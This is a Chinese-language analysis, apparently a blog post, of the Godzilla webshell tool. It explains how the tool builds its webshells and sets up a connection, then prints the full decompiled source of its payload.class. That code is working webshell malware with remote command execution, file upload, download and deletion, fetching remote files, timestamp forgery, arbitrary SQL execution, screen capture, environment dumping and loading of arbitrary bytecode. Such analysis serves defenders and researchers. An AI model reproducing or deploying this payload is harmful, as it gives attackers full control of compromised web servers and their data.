webshell代码生成逻辑

ui下面看命名是一些界面,找到GenerateShellLoder

其中generateButtonClick()为用户点击后的操作

这里是默认内置的加密算法

其中加密算法保存在shell包下

这里读取shells/java/template/ 的*.bin的内容,读取以后然后调用

code = code.replace("{pass}", pass).replace("{secretKey}", secretKey).replace("{findStrLeft}", findStrLeft).replace("{findStrRight}", findStrRight);进行替换

生成以后选择一个目录保存生成的文件

总结一下流程

(1)获取客户端传入的密钥等数据

(2)根据传入的加密器选择合适的方法加密

(3)cryption.generate(password, secretKey)加密,其中调用

Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), this.getClass().getSimpleName());在生成payload时会对密钥做md5加密,取前16位

(4)通过写死的模版做pass key的替换,生成webshell。

  (5) 选择生成的文件,然后写入到文件中

通信逻辑

在哥斯拉连接进行抓包,发现了测试连接三个通信

测试连接的处理类位于/godzilla.jar!/core/ui/component/frame/ShellSetting.class 看处理的过程中的关键方法和类

testButtonClick()
testButtonClick()

内部调用updateTempShellEntity(),其方法的作用主要是设置shellContext,他是ShellEntity类型,根据变量猜测,应该是webshell的相关的配置信息

配置完成后,调用this.shellContext.initShellOpertion()

(1)设置this.payloadModel

(2)设置this.cryptionModel

其中this.cryptionModel.init(this);会发送一次http请求,并初始化参数。其中getpayload()会获取asssets下面的payload.classs字节码。此class实现了命令执行、文件上传/下载、基本信息获取等全部功能。

payload.class的代码还原如下

payload.class的代码还原如下

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.NetworkInterface;import java.net.URL;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.attribute.BasicFileAttributeView;import java.nio.file.attribute.FileTime;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;
public class payload extends ClassLoader {    public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};    HashMap parameterMap = new HashMap();    HashMap sessionMap;    Object servletContext;    Object servletRequest;    Object httpSession;    byte[] requestData;    ByteArrayOutputStream outputStream;
    public payload() {    }
    public payload(ClassLoader loader) {        super(loader);    }
    public Class g(byte[] b) {        return super.defineClass(b, 0, b.length);    }
    public byte[] run() {        try {            String className = this.get("evalClassName");            String methodName = this.get("methodName");            if (methodName != null) {                Class var10000;                if (className == null) {                    Method method = this.getClass().getMethod(methodName, (Class[])null);                    var10000 = method.getReturnType();                    Class var10001 = class$0;                    if (var10001 == null) {                        try {                            var10001 = Class.forName("[B");                        } catch (ClassNotFoundException var6) {                            throw new NoClassDefFoundError(var6.getMessage());                        }
                        class$0 = var10001;                    }
                    return var10000.isAssignableFrom(var10001) ? (byte[])method.invoke(this, (Object[])null) : "this method returnType not is byte[]".getBytes();                } else {                    Class evalClass = (Class)this.sessionMap.get(className);                    if (evalClass != null) {                        Object object = evalClass.newInstance();                        object.equals(this.parameterMap);                        object.toString();                        Object resultObject = this.parameterMap.get("result");                        if (resultObject != null) {                            var10000 = class$0;                            if (var10000 == null) {                                try {                                    var10000 = Class.forName("[B");                                } catch (ClassNotFoundException var7) {                                    throw new NoClassDefFoundError(var7.getMessage());                                }
                                class$0 = var10000;                            }
                            return var10000.isAssignableFrom(resultObject.getClass()) ? (byte[])resultObject : "return typeErr".getBytes();                        } else {                            return new byte[0];                        }                    } else {                        return "evalClass is null".getBytes();                    }                }            } else {                return "method is null".getBytes();            }        } catch (Throwable var8) {            ByteArrayOutputStream stream = new ByteArrayOutputStream();            PrintStream printStream = new PrintStream(stream);            var8.printStackTrace(printStream);            printStream.flush();            printStream.close();            return stream.toByteArray();        }    }
    public void formatParameter() {        this.parameterMap.clear();        this.parameterMap.put("sessionMap", this.sessionMap);        this.parameterMap.put("servletRequest", this.servletRequest);        this.parameterMap.put("servletContext", this.servletContext);        this.parameterMap.put("httpSession", this.httpSession);        byte[] parameterByte = this.requestData;        ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);        ByteArrayOutputStream tp = new ByteArrayOutputStream();        String key = null;        byte[] lenB = new byte[4];        byte[] data = null;
        try {            GZIPInputStream inputStream = new GZIPInputStream(tStream);
            while(true) {                while(true) {                    byte t = (byte)inputStream.read();                    if (t == -1) {                        tp.close();                        tStream.close();                        inputStream.close();                        return;                    }
                    if (t == 2) {                        key = new String(tp.toByteArray());                        inputStream.read(lenB);                        int len = bytesToInt(lenB);                        byte[] data = new byte[len];                        int readOneLen = 0;
                        while((readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {                        }
                        this.parameterMap.put(key, data);                        tp.reset();                    } else {                        tp.write(t);                    }                }            }        } catch (Exception var11) {        }    }
    public boolean equals(Object obj) {        if (obj != null && this.handle(obj)) {            this.noLog(this.servletContext);            return true;        } else {            return false;        }    }
    public boolean handle(Object obj) {        if (obj == null) {            return false;        } else {            Class var10000 = class$1;            if (var10000 == null) {                try {                    var10000 = Class.forName("java.io.ByteArrayOutputStream");                } catch (ClassNotFoundException var7) {                    throw new NoClassDefFoundError(var7.getMessage());                }
                class$1 = var10000;            }
            if (var10000.isAssignableFrom(obj.getClass())) {                this.outputStream = (ByteArrayOutputStream)obj;                return false;            } else {                if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {                    this.servletRequest = obj;                } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {                    this.servletRequest = obj;                } else {                    var10000 = class$0;                    if (var10000 == null) {                        try {                            var10000 = Class.forName("[B");                        } catch (ClassNotFoundException var6) {                            throw new NoClassDefFoundError(var6.getMessage());                        }
                        class$0 = var10000;                    }
                    if (var10000.isAssignableFrom(obj.getClass())) {                        this.requestData = (byte[])obj;                    } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {                        this.httpSession = obj;                    }                }
                this.handlePayloadContext(obj);                if (this.servletRequest != null && this.requestData == null) {                    Object var10001 = this.servletRequest;                    Class[] var10003 = new Class[1];                    Class var10006 = class$2;                    if (var10006 == null) {                        try {                            var10006 = Class.forName("java.lang.String");                        } catch (ClassNotFoundException var5) {                            throw new NoClassDefFoundError(var5.getMessage());                        }
                        class$2 = var10006;                    }
                    var10003[0] = var10006;                    Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});                    if (retVObject != null) {                        var10000 = class$0;                        if (var10000 == null) {                            try {                                var10000 = Class.forName("[B");                            } catch (ClassNotFoundException var4) {                                throw new NoClassDefFoundError(var4.getMessage());                            }
                            class$0 = var10000;                        }
                        if (var10000.isAssignableFrom(retVObject.getClass())) {                            this.requestData = (byte[])retVObject;                        }                    }                }
                return true;            }        }    }
    private void handlePayloadContext(Object obj) {        try {            Method getRequestMethod = this.getMethodByClass(obj.getClass(), "getRequest", (Class[])null);            Method getServletContextMethod = this.getMethodByClass(obj.getClass(), "getServletContext", (Class[])null);            Method getSessionMethod = this.getMethodByClass(obj.getClass(), "getSession", (Class[])null);            if (getRequestMethod != null && this.servletRequest == null) {                this.servletRequest = getRequestMethod.invoke(obj, (Object[])null);            }
            if (getServletContextMethod != null && this.servletContext == null) {                this.servletContext = getServletContextMethod.invoke(obj, (Object[])null);            }
            if (getSessionMethod != null && this.httpSession == null) {                this.httpSession = getSessionMethod.invoke(obj, (Object[])null);            }        } catch (Exception var5) {        }
    }
    private boolean supportClass(Object obj, String classNameString) {        if (obj == null) {            return false;        } else {            boolean ret = false;            Class c = null;
            try {                if ((c = getClass(String.format(classNameString, "javax"))) != null) {                    ret = c.isAssignableFrom(obj.getClass());                }
                if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {                    ret = c.isAssignableFrom(obj.getClass());                }            } catch (Exception var6) {            }
            return ret;        }    }
    public String toString() {        String returnString = null;        if (this.outputStream != null) {            try {                this.initSessionMap();                GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);                this.formatParameter();                if (this.parameterMap.get("evalNextData") != null) {                    this.run();                    this.requestData = (byte[])this.parameterMap.get("evalNextData");                    this.formatParameter();                }
                gzipOutputStream.write(this.run());                gzipOutputStream.close();                this.outputStream.close();            } catch (Throwable var3) {                returnString = var3.getMessage();            }        } else {            returnString = "outputStream is null";        }
        this.httpSession = null;        this.outputStream = null;        this.parameterMap = null;        this.requestData = null;        this.servletContext = null;        this.servletRequest = null;        this.sessionMap = null;        return returnString;    }
    private void initSessionMap() {        if (this.sessionMap == null) {            if (this.getSessionAttribute("sessionMap") != null) {                try {                    this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap");                } catch (Exception var3) {                }            } else {                this.sessionMap = new HashMap();
                try {                    this.setSessionAttribute("sessionMap", this.sessionMap);                } catch (Exception var2) {                }            }
            if (this.sessionMap == null) {                this.sessionMap = new HashMap();            }        }
    }
    public String get(String key) {        try {            return new String((byte[])this.parameterMap.get(key));        } catch (Exception var3) {            return null;        }    }
    public byte[] getByteArray(String key) {        try {            return (byte[])this.parameterMap.get(key);        } catch (Exception var3) {            return null;        }    }
    public byte[] test() {        return "ok".getBytes();    }
    public byte[] getFile() {        String dirName = this.get("dirName");        if (dirName != null) {            dirName = dirName.trim();            String buffer = new String();
            try {                String currentDir = (new File(dirName)).getAbsoluteFile() + "/";                File currentDirFile = new File(currentDir);                if (!currentDirFile.exists()) {                    return "dir does not exist".getBytes();                }
                File[] files = currentDirFile.listFiles();                buffer = buffer + "ok";                buffer = buffer + "\n";                buffer = buffer + currentDir;                buffer = buffer + "\n";                if (files != null) {                    for(int i = 0; i < files.length; ++i) {                        File file = files[i];
                        try {                            buffer = buffer + file.getName();                            buffer = buffer + "\t";                            buffer = buffer + (file.isDirectory() ? "0" : "1");                            buffer = buffer + "\t";                            buffer = buffer + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(file.lastModified()));                            buffer = buffer + "\t";                            buffer = buffer + Integer.toString((int)file.length());                            buffer = buffer + "\t";                            StringBuffer var10000 = (new StringBuffer(String.valueOf(file.canRead() ? "R" : ""))).append(file.canWrite() ? "W" : "");                            Class var10002 = class$3;                            if (var10002 == null) {                                try {                                    var10002 = Class.forName("java.io.File");                                } catch (ClassNotFoundException var10) {                                    throw new NoClassDefFoundError(var10.getMessage());                                }
                                class$3 = var10002;                            }
                            String fileState = var10000.append(this.getMethodByClass(var10002, "canExecute", (Class[])null) != null ? (file.canExecute() ? "X" : "") : "").toString();                            buffer = buffer + (fileState != null && fileState.trim().length() != 0 ? fileState : "F");                            buffer = buffer + "\n";                        } catch (Exception var11) {                            buffer = buffer + var11.getMessage();                            buffer = buffer + "\n";                        }                    }                }            } catch (Exception var12) {                return String.format("dir does not exist errMsg:%s", var12.getMessage()).getBytes();            }
            return buffer.getBytes();        } else {            return "No parameter dirName".getBytes();        }    }
    public String listFileRoot() {        File[] files = File.listRoots();        String buffer = new String();
        for(int i = 0; i < files.length; ++i) {            buffer = buffer + files[i].getPath();            buffer = buffer + ";";        }
        return buffer;    }
    public byte[] fileRemoteDown() {        String url = this.get("url");        String saveFile = this.get("saveFile");        if (url != null && saveFile != null) {            FileOutputStream outputStream = null;
            try {                InputStream inputStream = (new URL(url)).openStream();                outputStream = new FileOutputStream(saveFile);                byte[] data = new byte[5120];                int readNum = true;
                int readNum;                while((readNum = inputStream.read(data)) != -1) {                    outputStream.write(data, 0, readNum);                }
                outputStream.flush();                outputStream.close();                inputStream.close();                return "ok".getBytes();            } catch (Exception var8) {                if (outputStream != null) {                    try {                        outputStream.close();                    } catch (IOException var7) {                        return var7.getMessage().getBytes();                    }                }
                return String.format("%s : %s", var8.getClass().getName(), var8.getMessage()).getBytes();            }        } else {            return "url or saveFile is null".getBytes();        }    }
    public byte[] setFileAttr() {        String type = this.get("type");        String attr = this.get("attr");        String fileName = this.get("fileName");        String ret = "Null";        if (type != null && attr != null && fileName != null) {            try {                File file = new File(fileName);                Class var10001;                if ("fileBasicAttr".equals(type)) {                    var10001 = class$3;                    if (var10001 == null) {                        try {                            var10001 = Class.forName("java.io.File");                        } catch (ClassNotFoundException var16) {                            throw new NoClassDefFoundError(var16.getMessage());                        }
                        class$3 = var10001;                    }
                    if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) {                        if (attr.indexOf("R") != -1) {                            file.setReadable(true);                        }
                        if (attr.indexOf("W") != -1) {                            file.setWritable(true);                        }
                        if (attr.indexOf("X") != -1) {                            file.setExecutable(true);                        }
                        ret = "ok";                    } else {                        ret = "Java version is less than 1.6";                    }                } else if ("fileTimeAttr".equals(type)) {                    var10001 = class$3;                    if (var10001 == null) {                        try {                            var10001 = Class.forName("java.io.File");                        } catch (ClassNotFoundException var15) {                            throw new NoClassDefFoundError(var15.getMessage());                        }
                        class$3 = var10001;                    }
                    if (this.getMethodByClass(var10001, "setLastModified", new Class[]{Long.TYPE}) != null) {                        Date date = new Date(0L);                        StringBuilder builder = new StringBuilder();                        builder.append(attr);                        char[] cs = new char[13 - builder.length()];                        Arrays.fill(cs, '0');                        builder.append(cs);                        date = new Date(date.getTime() + Long.parseLong(builder.toString()));                        file.setLastModified(date.getTime());                        ret = "ok";
                        try {                            Class nioFile = Class.forName("java.nio.file.Paths");                            Class basicFileAttributeViewClass = Class.forName("java.nio.file.attribute.BasicFileAttributeView");                            Class filesClass = Class.forName("java.nio.file.Files");                            if (nioFile != null && basicFileAttributeViewClass != null && filesClass != null) {                                Path var10000 = Paths.get(fileName);                                var10001 = class$4;                                if (var10001 == null) {                                    try {                                        var10001 = Class.forName("java.nio.file.attribute.BasicFileAttributeView");                                    } catch (ClassNotFoundException var13) {                                        throw new NoClassDefFoundError(var13.getMessage());                                    }
                                    class$4 = var10001;                                }
                                BasicFileAttributeView attributeView = (BasicFileAttributeView)Files.getFileAttributeView(var10000, var10001);                                attributeView.setTimes(FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()));                            }                        } catch (Exception var14) {                        }                    } else {                        ret = "Java version is less than 1.2";                    }                } else {                    ret = "no ExcuteType";                }            } catch (Exception var17) {                return String.format("Exception errMsg:%s", var17.getMessage()).getBytes();            }        } else {            ret = "type or attr or fileName is null";        }
        return ret.getBytes();    }
    public byte[] readFile() {        String fileName = this.get("fileName");        if (fileName != null) {            File file = new File(fileName);
            try {                if (file.exists() && file.isFile()) {                    byte[] data = new byte[(int)file.length()];                    FileInputStream fileInputStream;                    if (data.length > 0) {                        int readOneLen = 0;                        fileInputStream = new FileInputStream(file);
                        while((readOneLen += fileInputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {                        }
                        fileInputStream.close();                    } else {                        byte[] temData = new byte[3145728];                        fileInputStream = new FileInputStream(file);                        int readLen = fileInputStream.read(temData);                        if (readLen > 0) {                            data = new byte[readLen];                            System.arraycopy(temData, 0, data, 0, data.length);                        }
                        fileInputStream.close();                        Object var9 = null;                    }
                    return data;                } else {                    return "file does not exist".getBytes();                }            } catch (Exception var7) {                return var7.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }
    public byte[] uploadFile() {        String fileName = this.get("fileName");        byte[] fileValue = this.getByteArray("fileValue");        if (fileName != null && fileValue != null) {            try {                File file = new File(fileName);                file.createNewFile();                FileOutputStream fileOutputStream = new FileOutputStream(file);                fileOutputStream.write(fileValue);                fileOutputStream.close();                return "ok".getBytes();            } catch (Exception var5) {                return var5.getMessage().getBytes();            }        } else {            return "No parameter fileName and fileValue".getBytes();        }    }
    public byte[] newFile() {        String fileName = this.get("fileName");        if (fileName != null) {            File file = new File(fileName);
            try {                return file.createNewFile() ? "ok".getBytes() : "fail".getBytes();            } catch (Exception var4) {                return var4.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }
    public byte[] newDir() {        String dirName = this.get("dirName");        if (dirName != null) {            File file = new File(dirName);
            try {                return file.mkdirs() ? "ok".getBytes() : "fail".getBytes();            } catch (Exception var4) {                return var4.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }
    public byte[] deleteFile() {        String dirName = this.get("fileName");        if (dirName != null) {            try {                File file = new File(dirName);                this.deleteFiles(file);                return "ok".getBytes();            } catch (Exception var3) {                return var3.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }
    public byte[] moveFile() {        String srcFileName = this.get("srcFileName");        String destFileName = this.get("destFileName");        if (srcFileName != null && destFileName != null) {            File file = new File(srcFileName);
            try {                if (file.exists()) {                    return file.renameTo(new File(destFileName)) ? "ok".getBytes() : "fail".getBytes();                } else {                    return "The target does not exist".getBytes();                }            } catch (Exception var5) {                return var5.getMessage().getBytes();            }        } else {            return "No parameter srcFileName,destFileName".getBytes();        }    }
    public byte[] copyFile() {        String srcFileName = this.get("srcFileName");        String destFileName = this.get("destFileName");        if (srcFileName != null && destFileName != null) {            File srcFile = new File(srcFileName);            File destFile = new File(destFileName);
            try {                if (srcFile.exists() && srcFile.isFile()) {                    FileInputStream fileInputStream = new FileInputStream(srcFile);                    FileOutputStream fileOutputStream = new FileOutputStream(destFile);                    byte[] data = new byte[5120];                    int readNum = false;
                    int readNum;                    while((readNum = fileInputStream.read(data)) > -1) {                        fileOutputStream.write(data, 0, readNum);                    }
                    fileInputStream.close();                    fileOutputStream.close();                    return "ok".getBytes();                } else {                    return "The target does not exist or is not a file".getBytes();                }            } catch (Exception var9) {                return var9.getMessage().getBytes();            }        } else {            return "No parameter srcFileName,destFileName".getBytes();        }    }
    public byte[] include() {        byte[] binCode = this.getByteArray("binCode");        String className = this.get("codeName");        if (binCode != null && className != null) {            try {                payload payload = new payload(this.getClass().getClassLoader());                Class module = payload.g(binCode);                this.sessionMap.put(className, module);                return "ok".getBytes();            } catch (Exception var5) {                return this.sessionMap.get(className) != null ? "ok".getBytes() : var5.getMessage().getBytes();            }        } else {            return "No parameter binCode,codeName".getBytes();        }    }
    public Object getSessionAttribute(String keyString) {        if (this.httpSession != null) {            Object var10001 = this.httpSession;            Class[] var10003 = new Class[1];            Class var10006 = class$2;            if (var10006 == null) {                try {                    var10006 = Class.forName("java.lang.String");                } catch (ClassNotFoundException var2) {                    throw new NoClassDefFoundError(var2.getMessage());                }
                class$2 = var10006;            }
            var10003[0] = var10006;            return this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{keyString});        } else {            return null;        }    }
    public void setSessionAttribute(String keyString, Object value) {        if (this.httpSession != null) {            Object var10001 = this.httpSession;            Class[] var10003 = new Class[2];            Class var10006 = class$2;            if (var10006 == null) {                try {                    var10006 = Class.forName("java.lang.String");                } catch (ClassNotFoundException var4) {                    throw new NoClassDefFoundError(var4.getMessage());                }
                class$2 = var10006;            }
            var10003[0] = var10006;            var10006 = class$5;            if (var10006 == null) {                try {                    var10006 = Class.forName("java.lang.Object");                } catch (ClassNotFoundException var3) {                    throw new NoClassDefFoundError(var3.getMessage());                }
                class$5 = var10006;            }
            var10003[1] = var10006;            this.getMethodAndInvoke(var10001, "setAttribute", var10003, new Object[]{keyString, value});        }
    }
    public byte[] execCommand() {        String argsCountStr = this.get("argsCount");        if (argsCountStr != null && argsCountStr.length() > 0) {            try {                Process process = null;                ArrayList argsList = new ArrayList();                int argsCount = Integer.parseInt(argsCountStr);                if (argsCount <= 0) {                    return "argsCount <=0".getBytes();                } else {                    for(int i = 0; i < argsCount; ++i) {                        String val = this.get(String.format("arg-%d", new Integer(i)));                        if (val != null) {                            argsList.add(val);                        }                    }
                    String[] cmdarray = new String[argsList.size()];
                    for(int i = 0; i < argsList.size(); ++i) {                        cmdarray[i] = (String)argsList.get(i);                    }
                    process = Runtime.getRuntime().exec((String[])argsList.toArray(new String[0]));                    if (process == null) {                        return "Unable to start process".getBytes();                    } else {                        InputStream inputStream = process.getInputStream();                        InputStream errorInputStream = process.getErrorStream();                        ByteArrayOutputStream memStream = new ByteArrayOutputStream(1024);                        byte[] buff = new byte[521];                        int readNum = false;                        int readNum;                        if (inputStream != null) {                            while((readNum = inputStream.read(buff)) > 0) {                                memStream.write(buff, 0, readNum);                            }                        }
                        if (errorInputStream != null) {                            while((readNum = errorInputStream.read(buff)) > 0) {                                memStream.write(buff, 0, readNum);                            }                        }
                        return memStream.toByteArray();                    }                }            } catch (Exception var10) {                return var10.getMessage().getBytes();            }        } else {            return "No parameter argsCountStr".getBytes();        }    }
    public byte[] getBasicsInfo() {        try {            Enumeration keys = System.getProperties().keys();            String basicsInfo = new String();            basicsInfo = basicsInfo + "FileRoot : " + this.listFileRoot() + "\n";            basicsInfo = basicsInfo + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n";            basicsInfo = basicsInfo + "CurrentUser : " + System.getProperty("user.name") + "\n";            basicsInfo = basicsInfo + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n";
            try {                String tmpdir = System.getProperty("java.io.tmpdir");                char lastChar = tmpdir.charAt(tmpdir.length() - 1);                if (lastChar != '\\' && lastChar != '/') {                    tmpdir = tmpdir + File.separator;                }
                basicsInfo = basicsInfo + "TempDirectory : " + tmpdir + "\n";            } catch (Exception var7) {            }
            basicsInfo = basicsInfo + "DocBase : " + this.getDocBase() + "\n";            basicsInfo = basicsInfo + "RealFile : " + this.getRealPath() + "\n";            basicsInfo = basicsInfo + "servletRequest : " + (this.servletRequest == null ? "null" : String.valueOf(this.servletRequest.hashCode()) + "\n");            basicsInfo = basicsInfo + "servletContext : " + (this.servletContext == null ? "null" : String.valueOf(this.servletContext.hashCode()) + "\n");            basicsInfo = basicsInfo + "httpSession : " + (this.httpSession == null ? "null" : String.valueOf(this.httpSession.hashCode()) + "\n");
            try {                basicsInfo = basicsInfo + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "\n";            } catch (Exception var6) {                basicsInfo = basicsInfo + "OsInfo : " + var6.getMessage() + "\n";            }
            basicsInfo = basicsInfo + "IPList : " + getLocalIPList() + "\n";
            while(keys.hasMoreElements()) {                Object object = keys.nextElement();                if (object instanceof String) {                    String key = (String)object;                    basicsInfo = basicsInfo + key + " : " + System.getProperty(key) + "\n";                }            }
            Map envMap = this.getEnv();            String key;            if (envMap != null) {                for(Iterator iterator = envMap.keySet().iterator(); iterator.hasNext(); basicsInfo = basicsInfo + key + " : " + envMap.get(key) + "\n") {                    key = (String)iterator.next();                }            }
            return basicsInfo.getBytes();        } catch (Exception var8) {            return var8.getMessage().getBytes();        }    }
    public byte[] screen() {        try {            Robot robot = new Robot();            BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));            ByteArrayOutputStream bs = new ByteArrayOutputStream();            ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs));            byte[] data = bs.toByteArray();            bs.close();            return data;        } catch (Exception var5) {            return var5.getMessage().getBytes();        }    }
    public byte[] execSql() throws Exception {        String charset = this.get("dbCharset");        String dbType = this.get("dbType");        String dbHost = this.get("dbHost");        String dbPort = this.get("dbPort");        String dbUsername = this.get("dbUsername");        String dbPassword = this.get("dbPassword");        String execType = this.get("execType");        String execSql = new String(this.getByteArray("execSql"), charset);        if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) {            try {                try {                    Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");                } catch (Exception var24) {                }
                try {                    Class.forName("oracle.jdbc.driver.OracleDriver");                } catch (Exception var23) {                    try {                        Class.forName("oracle.jdbc.OracleDriver");                    } catch (Exception var22) {                    }                }
                try {                    Class.forName("com.mysql.cj.jdbc.Driver");                } catch (Exception var21) {                    try {                        Class.forName("com.mysql.jdbc.Driver");                    } catch (Exception var20) {                    }                }
                try {                    Class.forName("org.postgresql.Driver");                } catch (Exception var19) {                }
                try {                    Class.forName("org.sqlite.JDBC");                } catch (Exception var18) {                }
                String connectUrl = null;                if ("mysql".equals(dbType)) {                    connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true&characterEncoding=utf-8";                } else if ("oracle".equals(dbType)) {                    connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort + ":orcl";                } else if ("sqlserver".equals(dbType)) {                    connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";";                } else if ("postgresql".equals(dbType)) {                    connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/";                } else if ("sqlite".equals(dbType)) {                    connectUrl = "jdbc:sqlite:" + dbHost;                }
                if (dbHost.indexOf("jdbc:") != -1) {                    connectUrl = dbHost;                }
                if (connectUrl != null) {                    try {                        Connection dbConn = null;
                        try {                            dbConn = getConnection(connectUrl, dbUsername, dbPassword);                        } catch (Exception var17) {                        }
                        if (dbConn == null) {                            dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword);                        }
                        Statement statement = dbConn.createStatement();                        if (!execType.equals("select")) {                            int affectedNum = statement.executeUpdate(execSql);                            statement.close();                            dbConn.close();                            return ("Query OK, " + affectedNum + " rows affected").getBytes();                        } else {                            String data = "ok\n";                            ResultSet resultSet = statement.executeQuery(execSql);                            ResultSetMetaData metaData = resultSet.getMetaData();                            int columnNum = metaData.getColumnCount();
                            int i;                            for(i = 0; i < columnNum; ++i) {                                data = data + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "\t";                            }
                            for(data = data + "\n"; resultSet.next(); data = data + "\n") {                                for(i = 0; i < columnNum; ++i) {                                    data = data + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "\t";                                }                            }
                            resultSet.close();                            statement.close();                            dbConn.close();                            return data.getBytes();                        }                    } catch (Exception var25) {                        return var25.getMessage().getBytes();                    }                } else {                    return ("no " + dbType + " Dbtype").getBytes();                }            } catch (Exception var26) {                return var26.getMessage().getBytes();            }        } else {            return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes();        }    }
    public byte[] close() {        try {            if (this.httpSession != null) {                this.getMethodAndInvoke(this.httpSession, "invalidate", (Class[])null, (Object[])null);            }
            return "ok".getBytes();        } catch (Exception var2) {            return var2.getMessage().getBytes();        }    }
    public byte[] bigFileUpload() {        String fileName = this.get("fileName");        byte[] fileContents = this.getByteArray("fileContents");        String position = this.get("position");
        try {            if (position == null) {                FileOutputStream fileOutputStream = new FileOutputStream(fileName, true);                fileOutputStream.write(fileContents);                fileOutputStream.flush();                fileOutputStream.close();            } else {                RandomAccessFile fileOutputStream = new RandomAccessFile(fileName, "rw");                fileOutputStream.seek((long)Integer.parseInt(position));                fileOutputStream.write(fileContents);                fileOutputStream.close();            }
            return "ok".getBytes();        } catch (Exception var5) {            return String.format("Exception errMsg:%s", var5.getMessage()).getBytes();        }    }
    public byte[] bigFileDownload() {        String fileName = this.get("fileName");        String mode = this.get("mode");        String readByteNumString = this.get("readByteNum");        String positionString = this.get("position");
        try {            if ("fileSize".equals(mode)) {                return String.valueOf((new File(fileName)).length()).getBytes();            } else if ("read".equals(mode)) {                int position = Integer.valueOf(positionString);                int readByteNum = Integer.valueOf(readByteNumString);                byte[] readData = new byte[readByteNum];                FileInputStream fileInputStream = new FileInputStream(fileName);                fileInputStream.skip((long)position);                int readNum = fileInputStream.read(readData);                fileInputStream.close();                return readNum == readData.length ? readData : copyOf(readData, readNum);            } else {                return "no mode".getBytes();            }        } catch (Exception var10) {            return String.format("Exception errMsg:%s", var10.getMessage()).getBytes();        }    }
    public static byte[] copyOf(byte[] original, int newLength) {        byte[] arrayOfByte = new byte[newLength];        System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));        return arrayOfByte;    }
    public Map getEnv() {        try {            int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));            if (jreVersion >= 5) {                try {                    Class var10000 = class$6;                    if (var10000 == null) {                        try {                            var10000 = Class.forName("java.lang.System");                        } catch (ClassNotFoundException var4) {                            throw new NoClassDefFoundError(var4.getMessage());                        }
                        class$6 = var10000;                    }
                    Method method = var10000.getMethod("getenv");                    if (method != null) {                        var10000 = method.getReturnType();                        Class var10001 = class$7;                        if (var10001 == null) {                            try {                                var10001 = Class.forName("java.util.Map");                            } catch (ClassNotFoundException var3) {                                throw new NoClassDefFoundError(var3.getMessage());                            }
                            class$7 = var10001;                        }
                        if (var10000.isAssignableFrom(var10001)) {                            return (Map)method.invoke((Object)null, (Object[])null);                        }                    }
                    return null;                } catch (Exception var5) {                    return null;                }            } else {                return null;            }        } catch (Exception var6) {            return null;        }    }
